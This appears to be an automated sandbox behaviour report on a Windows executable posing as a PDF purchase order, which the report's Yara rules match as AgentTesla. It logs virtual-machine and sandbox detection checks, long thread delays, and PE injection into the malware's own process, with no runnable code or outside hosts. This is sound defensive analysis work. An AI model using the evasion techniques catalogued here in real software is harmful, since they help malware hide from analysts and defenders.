Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 11F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 4D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 6D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 7D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 2A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 2B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Memory allocated: 4B10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Window / User API: threadDelayed 4974			Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Window / User API: threadDelayed 1304			Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2276	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 6044	Thread sleep count: 4974 > 30	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 6044	Thread sleep count: 1304 > 30	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99414s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -97016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -96891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -96766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -96652s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe TID: 2828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99414	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98764	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98109	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97672	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97343	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97234	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97125	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 97016	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 96891	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 96766	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 96652	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2422839098.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228993568.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Memory written: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Process created: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe"

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.New order -24900242 OP_pdf .exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3231373178.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
